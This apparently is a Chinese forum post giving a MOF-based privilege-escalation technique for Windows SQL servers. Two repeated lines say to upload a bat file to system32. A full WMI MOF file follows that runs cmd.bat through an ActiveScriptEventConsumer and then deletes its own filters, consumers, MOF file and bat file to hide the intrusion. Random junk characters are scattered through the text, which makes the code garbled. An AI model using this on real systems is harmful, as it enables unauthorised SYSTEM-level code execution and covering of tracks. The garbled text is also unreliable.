这个sql提权MOF需要运行 system下的文件,不能定义路径。/ I' r1 b9 K( H" n) v
需要将要运行的命令写入到bat上传到system32目录,然后执行。/ \+ Q4 K+ p% n
3 i2 W8 J* p) n2 i* z/ [, @) h这个sql提权MOF需要运行 system下的文件,不能定义路径。) }# p; |, v+ l
需要将要运行的命令写入到bat上传到system32目录,然后执行。+ p! [6 q5 W- F# H' i
, z1 e. W' s) u& W/ Q7 h
#pragma
! d, j. f' ]+ a. m namespace("\\\\.\\root\\cimv2"). `/ g# f7 @8 T& o) l
class: ~8 R4 W# G& y
MyClass547
2 F& Q& I, Y( a { [key] ?5 U. m* R) F( y I
string% h# `& Y6 o* h- ]) l
Name;! A* a& o7 h2 {) I/ i
};, A: h, P5 j3 Z( Q$ L% I
class j$ |0 E, D6 o: }- L
ActiveScriptEventConsumer9 h% t) d- g$ q6 F) q8 n; ^9 Z* A
: __EventConsumer { [key]
, A* c; N( u1 }0 J, c; r6 F9 r( g string
$ M- v! j3 h8 L% F# e+ ]: \ Name; [not_null]
. _2 ^, z O7 e. [# {; d% B string
, n# k' i; Z5 o7 K ScriptingEngine; string
6 i8 @3 O* S, K3 y' T7 ?& l! t* d ScriptFileName; [template]6 p, |* `$ y, M* W5 K
string9 G7 m0 _6 a3 d# V6 M6 J7 W+ f( J
ScriptText; uint32 KillTimeout;
" {$ j$ f- o% M& E2 b6 S- k }; instance of __Win32Provider as $P {
" \. E: e% T: a5 J Name
3 p) G7 u, K" t; s0 z! K2 D =
^/ U/ S9 v3 L# _) z; f! D) o "ActiveScriptEventConsumer"; CLSID =0 a0 W' f! S. S. Q5 Q
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";# I% M& O2 w: q& N0 n0 }* g# ]: d
PerUserInitialization) M6 J) ~1 Q# }6 Z! F# @5 S+ |* `) Z
= TRUE;* t( `' ^/ V! j) d1 P+ r
}; instance of __EventConsumerProviderRegistration { Provider
2 a x4 Q1 j/ l- P/ v) o = $P; ConsumerClassNames
/ U; _- @) s9 v8 Q9 G4 b% J =
" f) | @$ }; ]6 {/ V/ d7 R; Y6 }4 Y {"ActiveScriptEventConsumer"};
, `! A: n& N6 I4 r };
/ e9 N8 v4 H, D, r2 N1 ? Instance of ActiveScriptEventConsumer
& f! m# ^. ^2 r as $cons { Name' Q3 b9 n d% ^" |
= F) Q& O, W( E1 \4 {
"ASEC"; ScriptingEngine7 g6 P* L0 G+ a& Y# u* l
=
! |, }! t! p' ]1 J) Y- O "JScript"; ScriptText
- P( \6 E7 J; K [8 W% z2 R2 x =
* i, l) Q" v3 W "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };9 Q/ W3 G2 P, |5 L) Q
Instance of ActiveScriptEventConsumer
) r: m5 u) ~$ E* e' L, z as $cons2 { Name$ Q3 T0 l: l- X6 o% a( F" X- i
=4 ~: [- Y5 H4 Y. n
"qndASEC"; ScriptingEngine7 i* f& K. `( H4 ^/ D
= ?; {# Z) P/ n$ g+ y
"JScript"; ScriptText
: _+ B' [3 e* _5 c6 | =+ w* F# v8 | D; v
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";7 s; A5 X9 s! A& H
}; instance of __EventFilter as $Filt { Name
" e2 c+ B9 ?3 N) s: Q0 A, B =! x$ W- S7 E3 n! K1 b
"instfilt"; Query
8 u1 x7 A5 W1 A0 y) J1 V8 [ =
) }! S" L" B5 M- ` "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage. |7 Z" E7 Z. z _3 J
=
) D H5 g3 R1 v" [; d. H# q" T "WQL"; }; instance of __EventFilter as $Filt2 { Name
3 [) e6 r% I; o$ O7 n( P/ @ =
% Z* ^8 }$ V1 U# g% x "qndfilt"; Query
+ p% U$ Q( B, Y1 O =+ h9 @6 D3 N! |" W5 M5 g0 |0 t6 ?4 y
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage$ k1 {, X, o. }7 Y+ }# f
=
% U: w1 H" }+ o4 i" s "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
5 S0 d f4 A; Y; z = $cons; Filter* {. U O" [1 F( p* I
= $Filt;" g, Z" `* t: s' U! f+ c* h5 x
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
9 ?1 r: S6 p# M1 [6 { = $cons2; Filter s4 H2 I% B6 A8 R7 v0 J
= $Filt2;' [, l: Z, P( Z& H
}; instance of MyClass547
8 O) n* _2 |& Z) J" b as $MyClass { Name) G8 o, s( p4 ^4 E
=) j' H! W4 \) |) R( G
"ClassConsumer";6 l9 @& {( o i6 B
}; |